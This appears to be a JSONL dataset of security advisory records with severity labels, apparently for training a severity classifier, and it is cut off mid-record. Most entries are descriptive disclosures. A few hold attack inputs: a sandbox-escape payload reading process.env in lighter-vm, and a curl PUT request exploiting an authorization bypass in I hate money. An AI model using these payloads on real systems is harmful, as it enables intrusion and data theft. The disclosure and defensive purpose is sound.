-{"id": "cd63f41e7662860110f5", "text": "Improper Limitation of a Pathname ('Path Traversal') in org.apache.solr:solr-core\n\nWhen using the Index Replication feature, Apache Solr nodes can pull index files from a master/leader node using an HTTP API which accepts a file name. However, Solr before 5.5.4 and 6.x before 6.4.1 did not validate the file name, hence it was possible to craft a special request involving path traversal, leaving any file readable to the Solr server process exposed. Solr servers protected and restricted by firewall rules and/or authentication would not be at risk since only trusted clients and users would gain direct HTTP access.", "text_raw": "Improper Limitation of a Pathname ('Path Traversal') in org.apache.solr:solr-core\n\n[Severity: HIGH]\n\nWhen using the Index Replication feature, Apache Solr nodes can pull index files from a master/leader node using an HTTP API which accepts a file name. However, Solr before 5.5.4 and 6.x before 6.4.1 did not validate the file name, hence it was possible to craft a special request involving path traversal, leaving any file readable to the Solr server process exposed. Solr servers protected and restricted by firewall rules and/or authentication would not be at risk since only trusted clients and users would gain direct HTTP access.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "d9797200ed8c48cad504", "text": "Spring Boot supports an embedded launch script that can be used to easily run the application as a systemd or init.d linux service. The script included with Spring Boot 1.5.9 and earlier and 2.0.0.M1 through 2.0.0.M7 is susceptible to a symlink attack which allows the \"run_user\" to overwrite and take ownership of any file on the same system. In order to instigate the attack, the application must be installed as a service and the \"run_user\" requires shell access to the server. Spring Boot application that are not installed as a service, or are not using the embedded launch script are not susceptible.", "text_raw": "Moderate severity vulnerability that affects org.springframework.boot:spring-boot\n\n[Severity: MEDIUM]\n\nSpring Boot supports an embedded launch script that can be used to easily run the application as a systemd or init.d linux service. The script included with Spring Boot 1.5.9 and earlier and 2.0.0.M1 through 2.0.0.M7 is susceptible to a symlink attack which allows the \"run_user\" to overwrite and take ownership of any file on the same system. In order to instigate the attack, the application must be installed as a service and the \"run_user\" requires shell access to the server. Spring Boot application that are not installed as a service, or are not using the embedded launch script are not susceptible.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "89f59758a524f1ee8abc", "text": "Malicious Package in yeoman-genrator\n\nVersion 3.1.1 of `yeoman-genrator` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in yeoman-genrator\n\n[Severity: CRITICAL]\n\nVersion 3.1.1 of `yeoman-genrator` contains malicious code as a preinstall script. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When installed, the package downloads a file from a remote server, executes it and opens a backdoor.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "38ac0617bd71cc9a6551", "text": "Possible timing attack in derivation_endpoint\n\n### Impact\n\nWhen using the `derivation_endpoint` plugin, it's possible for the attacker to use a timing attack to guess the signature of the derivation URL.\n\n### Patches\n\nThe problem has been fixed by comparing sent and calculated signature in constant time, using `Rack::Utils.secure_compare`. Users using the `derivation_endpoint` plugin are urged to upgrade to Shrine 3.3.0 or greater.\n\n### Workarounds\n\nUsers of older Shrine versions can apply the following monkey-patch after loading the `derivation_endpoint` plugin:\n\n```rb\nclass Shrine\n  class UrlSigner\n    def verify_signature(string, signature)\n      if signature.nil?\n        fail InvalidSignature, \"missing \\\"signature\\\" param\"\n      elsif !Rack::Utils.secure_compare(signature, generate_signature(string))\n        fail InvalidSignature, \"provided signature does not match the calculated signature\"\n      end\n    end\n  end\nend\n```\n\n### References\n\nYou can read more about timing attacks [here](https://en.wikipedia.org/wiki/Timing_attack).", "text_raw": "Possible timing attack in derivation_endpoint\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen using the `derivation_endpoint` plugin, it's possible for the attacker to use a timing attack to guess the signature of the derivation URL.\n\n### Patches\n\nThe problem has been fixed by comparing sent and calculated signature in constant time, using `Rack::Utils.secure_compare`. Users using the `derivation_endpoint` plugin are urged to upgrade to Shrine 3.3.0 or greater.\n\n### Workarounds\n\nUsers of older Shrine versions can apply the following monkey-patch after loading the `derivation_endpoint` plugin:\n\n```rb\nclass Shrine\n  class UrlSigner\n    def verify_signature(string, signature)\n      if signature.nil?\n        fail InvalidSignature, \"missing \\\"signature\\\" param\"\n      elsif !Rack::Utils.secure_compare(signature, generate_signature(string))\n        fail InvalidSignature, \"provided signature does not match the calculated signature\"\n      end\n    end\n  end\nend\n```\n\n### References\n\nYou can read more about timing attacks [here](https://en.wikipedia.org/wiki/Timing_attack).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-05", "split": "train"}
-{"id": "03f0fb723199a3e3af0f", "text": "PowerCHM 5.7 (hhp) Local Buffer Overflow Exploit", "text_raw": "PowerCHM 5.7 (hhp) Local Buffer Overflow Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-03-29", "split": "train"}
-{"id": "b4e4493883daca893365", "text": "Server-Side Template Injection\n\n### Impact\nA Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. This has been assigned CVE-2020-26282.\n\n### Patches\nEffective Immediately, all users should upgrade to version 2.1.2 or higher.\n\n### Workarounds\nNone.\n\n### References\nhttps://securitylab.github.com/research/bean-validation-RCE\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BrowserUp Proxy repo](http://github.com/browserup/browserup-proxy)\n* Contact us via  the [BrowserUp website](https://browserup.com) or email us at [support@browserup.com](mailto:support@browserup.com)", "text_raw": "Server-Side Template Injection\n\n[Severity: HIGH]\n\n### Impact\nA Server-Side Template Injection was identified in BrowserUp Proxy enabling attackers to inject arbitrary Java EL expressions, leading to unauthenticated Remote Code Execution (RCE) vulnerability. This has been assigned CVE-2020-26282.\n\n### Patches\nEffective Immediately, all users should upgrade to version 2.1.2 or higher.\n\n### Workarounds\nNone. \n\n### References\nhttps://securitylab.github.com/research/bean-validation-RCE\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BrowserUp Proxy repo](http://github.com/browserup/browserup-proxy)\n* Contact us via  the [BrowserUp website](https://browserup.com) or email us at [support@browserup.com](mailto:support@browserup.com)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-24", "split": "train"}
-{"id": "1c39377ed73f5ff24f7e", "text": "Cross-site scripting vulnerability in TinyMCE\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in: the core parser, `paste` and `visualchars` plugins. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.6 or lower and TinyMCE 5.1.3 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 4.9.7 and 5.1.4 by improved parser logic and HTML sanitization.\n\n### Workarounds\nThe workarounds available are:\n- disable the impacted plugins\n- manually sanitize the content using the `BeforeSetContent` event (see below)\n- upgrade to either TinyMCE 4.9.7 or TinyMCE 5.1.4\n\n#### Example: Manually sanitize content\n```js\neditor.on('BeforeSetContent', function(e) {\n  var sanitizedContent = ...; // Manually sanitize content here\n  e.content = sanitizedContent;\n});\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Michał Bentkowski for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes514/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)", "text_raw": "Cross-site scripting vulnerability in TinyMCE\n\n[Severity: HIGH]\n\n### Impact\nA cross-site scripting (XSS) vulnerability was discovered in: the core parser, `paste` and `visualchars` plugins. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.6 or lower and TinyMCE 5.1.3 or lower.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 4.9.7 and 5.1.4 by improved parser logic and HTML sanitization.\n\n### Workarounds\nThe workarounds available are:\n- disable the impacted plugins\n- manually sanitize the content using the `BeforeSetContent` event (see below)\n- upgrade to either TinyMCE 4.9.7 or TinyMCE 5.1.4\n\n#### Example: Manually sanitize content\n```js\neditor.on('BeforeSetContent', function(e) {\n  var sanitizedContent = ...; // Manually sanitize content here\n  e.content = sanitizedContent;\n});\n```\n\n### Acknowledgements\nTiny Technologies would like to thank Michał Bentkowski for discovering this vulnerability.\n\n### References\nhttps://www.tiny.cloud/docs/release-notes/release-notes514/#securityfixes\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [TinyMCE repo](https://github.com/tinymce/tinymce/issues)\n* Email us at [infosec@tiny.cloud](mailto:infosec@tiny.cloud)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "c602f65434c7fc51b652", "text": "Trend Micro OfficeScan Directory Traversal Vulnerability\n\nAffected: Trend Micro OfficeScan\n\nTrend Micro OfficeScan contains a directory traversal vulnerability by extracting files from a zip file to a specific folder on the OfficeScan server, leading to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Trend Micro OfficeScan Directory Traversal Vulnerability\n\nAffected: Trend Micro OfficeScan\n\nTrend Micro OfficeScan contains a directory traversal vulnerability by extracting files from a zip file to a specific folder on the OfficeScan server, leading to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "e0952db69148f5bf6c61", "text": "Missing Token Replay Detection in Saml2 Authentication services for ASP.NET\n\n### Impact\nToken Replay Detection is an important defence in depth measure for Single Sign On solutions. In all previous 2.X versions, the Token Replay Detection is not properly implemented.\n\nNote that version 1.0.1 is not affected. It has a correct Token Replay Implementation and is safe to use.\n\n### Patches\nThe 2.5.0 version is patched.\n\n### Workarounds\nThere are no workarounds with existing versions. Fixing the issue requires code updates.\n\n### References\nhttps://en.wikipedia.org/wiki/Replay_attack\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment on #711.\n* Email us at [security@sustainsys.com](mailto:security@susatinsys.com) if you think that there are further security issues.", "text_raw": "Missing Token Replay Detection in Saml2 Authentication services for ASP.NET\n\n[Severity: HIGH]\n\n### Impact\nToken Replay Detection is an important defence in depth measure for Single Sign On solutions. In all previous 2.X versions, the Token Replay Detection is not properly implemented. \n\nNote that version 1.0.1 is not affected. It has a correct Token Replay Implementation and is safe to use.\n\n### Patches\nThe 2.5.0 version is patched.\n\n### Workarounds\nThere are no workarounds with existing versions. Fixing the issue requires code updates.\n\n### References\nhttps://en.wikipedia.org/wiki/Replay_attack\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment on #711.\n* Email us at [security@sustainsys.com](mailto:security@susatinsys.com) if you think that there are further security issues.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-25", "split": "train"}
-{"id": "71bb93a168d0fcc1b918", "text": "Key Caching behavior in the DynamoDB Encryption Client.\n\n### Impact\nThis advisory concerns users of MostRecentProvider in the DynamoDB Encryption Client with a key provider like AWS Key Management Service that allows for permissions on keys to be modified.\n\nWhen key usage permissions were changed at the key provider, time-based key reauthorization logic in MostRecentProvider did not reauthorize the use of the key. This created the potential for keys to be used in the DynamoDB Encryption Client after permissions to do so were revoked at the key provider.\n\n### Patches\nFixed as of 1.3.0.  We recommend users to modify their code and adopt `CachingMostRecentProvider`.\n\n### Workarounds\nUsers who cannot upgrade to use the `CachingMostRecentProvider` can call `clear()` on the cache to manually flush all of its contents. Next use of the key will force a re-validation to occur with the key provider.", "text_raw": "Key Caching behavior in the DynamoDB Encryption Client.\n\n[Severity: LOW]\n\n### Impact\nThis advisory concerns users of MostRecentProvider in the DynamoDB Encryption Client with a key provider like AWS Key Management Service that allows for permissions on keys to be modified.\n\nWhen key usage permissions were changed at the key provider, time-based key reauthorization logic in MostRecentProvider did not reauthorize the use of the key. This created the potential for keys to be used in the DynamoDB Encryption Client after permissions to do so were revoked at the key provider.\n\n### Patches\nFixed as of 1.3.0.  We recommend users to modify their code and adopt `CachingMostRecentProvider`.\n\n\n### Workarounds\nUsers who cannot upgrade to use the `CachingMostRecentProvider` can call `clear()` on the cache to manually flush all of its contents. Next use of the key will force a re-validation to occur with the key provider.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "78c80adf8d5c7ca800a8", "text": "Phar unserialization vulnerability in phpMussel\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAnyone using >= v1.0.0 < v1.6.0.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes. Upgrading to at least >= v1.6.0 (the earliest safe version) will resolve the problem. However, as multiple new major versions have been released since that version, upgrading to the latest available version is recommended, in order to protect against any potential future vulnerabilities, unknown at the time of writing this advisory.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nYes. In the package's configuration, disable archive checking by setting `check_archives` to `false` (thus avoiding execution of the affected parts of the codebase entirely).\n\n### References\n_Are there any links users can visit to find out more?_\n\nYes. The vulnerability is documented at [SECURITY.md](https://github.com/phpMussel/phpMussel/security/policy) and also at [#167](https://github.com/phpMussel/phpMussel/issues/167).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at the issue linked to this advisory, or..\n* Contact [the package author](https://github.com/Maikuolan).", "text_raw": "Phar unserialization vulnerability in phpMussel\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAnyone using >= v1.0.0 < v1.6.0.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes. Upgrading to at least >= v1.6.0 (the earliest safe version) will resolve the problem. However, as multiple new major versions have been released since that version, upgrading to the latest available version is recommended, in order to protect against any potential future vulnerabilities, unknown at the time of writing this advisory.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nYes. In the package's configuration, disable archive checking by setting `check_archives` to `false` (thus avoiding execution of the affected parts of the codebase entirely).\n\n### References\n_Are there any links users can visit to find out more?_\n\nYes. The vulnerability is documented at [SECURITY.md](https://github.com/phpMussel/phpMussel/security/policy) and also at [#167](https://github.com/phpMussel/phpMussel/issues/167).\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at the issue linked to this advisory, or..\n* Contact [the package author](https://github.com/Maikuolan).\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "5e6638ce3c29d96f8fd0", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1298, CVE-2019-1300.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1298, CVE-2019-1300.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "3712b30716663ab92185", "text": "Code Injection in oauth2-server\n\n\"oauth2-server (aka node-oauth2-server) through 3.1.1 implements OAuth 2.0 without PKCE. It does not prevent authorization code injection. This is similar to CVE-2020-7692. NOTE: the vendor states 'As RFC7636 is an extension, I think the claim in the Readme of \"RFC 6749 compliant\" is valid and not misleading and I also therefore wouldn't describe this as a \"vulnerability\" with the library per se.'\"", "text_raw": "Code Injection in oauth2-server\n\n[Severity: HIGH]\n\n\"oauth2-server (aka node-oauth2-server) through 3.1.1 implements OAuth 2.0 without PKCE. It does not prevent authorization code injection. This is similar to CVE-2020-7692. NOTE: the vendor states 'As RFC7636 is an extension, I think the claim in the Readme of \"RFC 6749 compliant\" is valid and not misleading and I also therefore wouldn't describe this as a \"vulnerability\" with the library per se.'\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "1bd10642e3107ae7732d", "text": "Deserialization of Untrusted Data in msgpack\n\n# Withdrawn\n\nThis advisory was withdrawn by its CNA (Snyk).\n\n## Original advisory\n\nAll versions of package `msgpack` are vulnerable to Deserialization of Untrusted Data via the unpack function. This does not affect the similarly named package `@msgpack/msgpack`.", "text_raw": "Deserialization of Untrusted Data in msgpack\n\n[Severity: CRITICAL]\n\n# Withdrawn\n\nThis advisory was withdrawn by its CNA (Snyk).\n\n## Original advisory\n\nAll versions of package `msgpack` are vulnerable to Deserialization of Untrusted Data via the unpack function. This does not affect the similarly named package `@msgpack/msgpack`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "b698f3e231f7132bd7a5", "text": "MG2 0.5.1 Multiple XSS Vulnerabilities", "text_raw": "MG2 0.5.1 Multiple XSS Vulnerabilities\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-02-12", "split": "train"}
-{"id": "20d7bb97273b039828fd", "text": "CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit", "text_raw": "CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "c95e8e321ac89c847521", "text": "A use of uninitialized value vulnerability in Tensorflow\n\n### Impact\nTensorFlow's Grappler optimizer has a [use of unitialized variable](https://github.com/tensorflow/tensorflow/blob/3457a2b122e50b4d44ceaaed5a663d635e5c22df/tensorflow/core/grappler/optimizers/auto_parallel.cc#L155-L164):\n\n```cc\n  const NodeDef* dequeue_node;\n  for (const auto& train_node : train_nodes) {\n    if (IsDequeueOp(*train_node)) {\n      dequeue_node = train_node;\n      break;\n    }\n  }\n\nif (dequeue_node) {\n    ...\n  }\n```\n\nIf the `train_nodes` vector (obtained from the saved model that gets optimized) does not contain a `Dequeue` node, then `dequeue_node` is left unitialized.\n\n### Patches\nWe have patched the issue in GitHub commit [68867bf01239d9e1048f98cbad185bf4761bedd3](https://github.com/tensorflow/tensorflow/commit/68867bf01239d9e1048f98cbad185bf4761bedd3).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Qian Feng from Baidu Security Team.", "text_raw": "A use of uninitialized value vulnerability in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nTensorFlow's Grappler optimizer has a [use of unitialized variable](https://github.com/tensorflow/tensorflow/blob/3457a2b122e50b4d44ceaaed5a663d635e5c22df/tensorflow/core/grappler/optimizers/auto_parallel.cc#L155-L164):\n\n```cc\n  const NodeDef* dequeue_node;\n  for (const auto& train_node : train_nodes) {\n    if (IsDequeueOp(*train_node)) {\n      dequeue_node = train_node;\n      break;\n    }\n  }\n\n  if (dequeue_node) {\n    ...\n  }\n```\n\nIf the `train_nodes` vector (obtained from the saved model that gets optimized) does not contain a `Dequeue` node, then `dequeue_node` is left unitialized.\n\n### Patches\nWe have patched the issue in GitHub commit [68867bf01239d9e1048f98cbad185bf4761bedd3](https://github.com/tensorflow/tensorflow/commit/68867bf01239d9e1048f98cbad185bf4761bedd3).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Qian Feng from Baidu Security Team.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "3ac1599770bd9b518957", "text": "S3 storage write is not aborted on errors leading to unbounded memory usage\n\n### Impact\n\nAnyone using storage.blob.s3 introduced in 0.5.0 with storage.imapsql.\n```\nstorage.imapsql local_mailboxes {\n  ...\n  msg_store s3 {\n    ...\n  }\n}\n```\n\n### Patches\n\nThe relevant commit is pushed to master and will be included in the 0.5.1 release.\n\nNo special handling of the issue has been done due to the small amount of affected users.\n\n### Workarounds\n\nNone.\n\n### References\n\n* Original report: https://github.com/foxcpp/maddy/issues/395\n* Fix: https://github.com/foxcpp/maddy/commit/07c8495ee4394fabbf5aac4df8aebeafb2fb29d8", "text_raw": "S3 storage write is not aborted on errors leading to unbounded memory usage\n\n[Severity: HIGH]\n\n### Impact\n\nAnyone using storage.blob.s3 introduced in 0.5.0 with storage.imapsql.\n```\nstorage.imapsql local_mailboxes {\n  ...\n  msg_store s3 {\n    ...\n  }\n}\n```\n\n### Patches\n\nThe relevant commit is pushed to master and will be included in the 0.5.1 release.\n\nNo special handling of the issue has been done due to the small amount of affected users.\n\n### Workarounds\n\nNone.\n\n### References\n\n* Original report: https://github.com/foxcpp/maddy/issues/395\n* Fix: https://github.com/foxcpp/maddy/commit/07c8495ee4394fabbf5aac4df8aebeafb2fb29d8", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "22e22911b7010d832c07", "text": "github.com/tidwall/gjson is vulnerable to Denial of service\n\nGJSON <1.6.5 allows attackers to cause a denial of service (remote) via crafted JSON.", "text_raw": "github.com/tidwall/gjson is vulnerable to Denial of service\n\n[Severity: HIGH]\n\nGJSON <1.6.5 allows attackers to cause a denial of service (remote) via crafted JSON.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "6328d3672efc1f664391", "text": "SQL injection in Django\n\nDjango 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allows SQL Injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it was possible to break escaping and inject malicious SQL.", "text_raw": "SQL injection in Django\n\n[Severity: HIGH]\n\nDjango 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allows SQL Injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it was possible to break escaping and inject malicious SQL.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "9403c142daf2202ce974", "text": "**Withdrawn:** Duplicate of GHSA-6m9g-jr8c-cqw3", "text_raw": "Moderate severity vulnerability that affects aioxmpp\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-6m9g-jr8c-cqw3", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "b2cddc34084d36f5b7cc", "text": "Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability", "text_raw": "Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "ed23b778828306471f4a", "text": "dns-sync command injection vulnerability\n\nThe dns-sync module before 0.1.1 for node.js allows context-dependent attackers to execute arbitrary commands via shell metacharacters in the first argument to the resolve API function.", "text_raw": "dns-sync command injection vulnerability\n\n[Severity: CRITICAL]\n\nThe dns-sync module before 0.1.1 for node.js allows context-dependent attackers to execute arbitrary commands via shell metacharacters in the first argument to the resolve API function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "98ffb6464c9cda7ea782", "text": "Ckeditor XSS Vulnerability\n\nCKEditor 4.x before 4.11.0 allows user-assisted XSS involving a source-mode paste. It was possible to execute XSS inside the CKEditor source area after persuading the victim to: (i) switch CKEditor to source mode, then (ii) paste a specially crafted HTML code, prepared by the attacker, into the opened CKEditor source area, and (iii) switch back to WYSIWYG mode. Although this is an unlikely scenario, it is recommended to upgrade to the latest editor version.", "text_raw": "Ckeditor XSS Vulnerability\n\n[Severity: MEDIUM]\n\nCKEditor 4.x before 4.11.0 allows user-assisted XSS involving a source-mode paste. It was possible to execute XSS inside the CKEditor source area after persuading the victim to: (i) switch CKEditor to source mode, then (ii) paste a specially crafted HTML code, prepared by the attacker, into the opened CKEditor source area, and (iii) switch back to WYSIWYG mode. Although this is an unlikely scenario, it is recommended to upgrade to the latest editor version.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "901fc6d68534b084650e", "text": "Sandbox Breakout / Arbitrary Code Execution in lighter-vm\n\nAll versions of `lighter-vm` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in lighter-vm\n\n[Severity: CRITICAL]\n\nAll versions of `lighter-vm` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "31b94788769a962d4fce", "text": "Authorization Bypass in I hate money\n\n### Impact\nAn authenticated member of one project can modify and delete members of another project, without knowledge of this other project's private code. This can be further exploited to access all bills of another project without knowledge of this other project's private code.\n\nWith the default configuration, anybody is allowed to create a new project. An attacker can create a new project and then use it to become authenticated and exploit this flaw. As such, the exposure is similar to an unauthenticated attack, because it is trivial to become authenticated.\n\n### Patches\n```diff\n ihatemoney/models.py | 4 ++--\n 1 file changed, 2 insertions(+), 2 deletions(-)\n\ndiff --git a/ihatemoney/models.py b/ihatemoney/models.py\nindex fe7b519..5691c75 100644\n--- a/ihatemoney/models.py\n+++ b/ihatemoney/models.py\n@@ -380,7 +380,7 @@ class Person(db.Model):\n         def get_by_name(self, name, project):\n             return (\n                 Person.query.filter(Person.name == name)\n-                .filter(Project.id == project.id)\n+                .filter(Person.project_id == project.id)\n                 .one()\n             )\n\n@@ -389,7 +389,7 @@ class Person(db.Model):\n                 project = g.project\n             return (\n                 Person.query.filter(Person.id == id)\n-                .filter(Project.id == project.id)\n+                .filter(Person.project_id == project.id)\n                 .one()\n             )\n\n```\n\n### Workarounds\n\nTo limit the impact, it is possible to disable public project creation by setting `ALLOW_PUBLIC_PROJECT_CREATION = False` in the configuration (see [documentation](https://ihatemoney.readthedocs.io/en/latest/configuration.html)). Existing users will still be able to exploit the flaw, but this will prevent an external attacker from creating a new project.\n\n### For more information\n\n`Person.query.get()` and `Person.query.get_by_name()` were mistakenly running a database join on the Project table without constraining the result.\n\nAs a result, `Person.query.get(42, \"projectfoo\")` would return the Person with id=42, even if it is not associated to the project \"projectfoo\".  The only condition is that \"projectfoo\" must exist.\n\nThis flaw can be exploited in several places:\n\n1) API: PUT requests to `/api/projects/<project>/members/<personID>` will succeed even though `<personID>` is not a member of `<project>`.\n\nThis allows an authenticated attacker to alter the state of a member (name, weight, activated) in any project.  In addition, the altered member will no longer be associated with its original project but will be associated to the attacker project instead, breaking many features of IHateMoney.  For instance, bills referencing the altered member will no longer be visible in the original project.\n\nThis causes an additional information disclosure and loss of integrity on bills: the attacker will now be able to see, edit and delete bills belonging to the altered member, because IHateMoney now believes that these bills are associated to the attacker project through the altered member.\n\nFor instance, assume that `Person(id=42)` is a member of project \"targetProject\", and that the attacker has access to another project \"attackerProject\" with the private code \"attackerPassword\".  The attacker can modify `Person(id=42)` with this command:\n\n$ curl -X PUT -d \"name=Pwn3d&activated=1\" --basic -u attackerProject:attackerPassword http://$SERVER/api/projects/attackerProject/members/42\n\nThe attacker can now see, edit and delete bills paid by `Person(id=42)` by simply browsing to http://$SERVER/attackerProject/\n\n2) Editing a member through the web interface at `/<project>/members/<personID>/edit` will succeed even though `<personID>` is not a member of `<project>`.\n\nThis is very similar to the PUT exploit.  Reusing the same example, the attacker needs to login to its \"attackerProject\" project with the private code \"attackerPassword\".  It can then alter the state of `Person(id=42)` by accessing the edit form at the following URL:\n\nhttp://$SERVER/attackerProject/members/42/e", "text_raw": "Authorization Bypass in I hate money\n\n[Severity: MEDIUM]\n\n### Impact\nAn authenticated member of one project can modify and delete members of another project, without knowledge of this other project's private code. This can be further 